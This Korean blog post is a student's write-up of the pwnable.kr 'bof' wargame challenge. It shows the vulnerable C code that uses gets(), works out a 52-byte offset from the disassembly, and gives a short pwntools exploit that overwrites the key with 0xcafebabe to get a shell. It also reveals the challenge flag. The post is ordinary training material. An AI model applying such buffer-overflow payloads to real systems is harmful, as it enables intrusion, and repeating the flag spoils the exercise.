system hacking

Layer7 포너블 1차시 과제 - pwnable.kr bof 문제 풀이

leesu0605 2022. 9. 19. 21:50

일단 문제 파일을 우분투에서 wget으로 받고 c코드부터 열어보았다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

overflow 버퍼에 입력받을 때 함수의 인자로 들어간 key를 오버플로우 시키는 문제였다.
따라서 key와 overflowme의 정확한 주소차를 계산하는 것이 필요했으며, 같이 다운받은 바이너리 파일에서 overflowme의 주소값을 알기 위해 gets 함수, key의 정확한 주소값을 알기 위해 0xcafebabe와 비교하는 부분을 살펴보았다.

이것이 func 함수의 어셈블리어 코드였으며, 이 중에서 gets 함수의 인자로 들어가는 overflowme 버퍼의 주소는 ebp-0x2c, 0xcafebabe와 비교하는 key 매개변수의 주소는 ebp+0x8로 두 주소의 차이는 52바이트였다.
따라서 그냥 52바이트를 아무 문자로나 쭉 채워준 뒤에 0xcafebabe를 p32로 언패킹해서 붙여주면 key값이 정확히 덮어질 것이다.
한 번 페이로드를 짜보자.

from pwn import *

p=remote("pwnable.kr", 9000)
p.sendline(b'a'*52+p32(0xcafebabe))
p.interactive()

일단 remote 함수로 페이로드를 보낼 서버와 연결했고, 52개의 'a'와 0xcafebabe를 p32로 패킹한 값을 보내 오버플로우시켰다.
그 후, interactive 함수로 플래그를 직접 획득할 수 있는 환경을 만들어주었다.

이렇게 실행시키면 정상적으로 오버플로우되어 플래그를 획득할 수 있는 걸 볼 수 있다.

flag : daddy, I just pwned a buFFer :)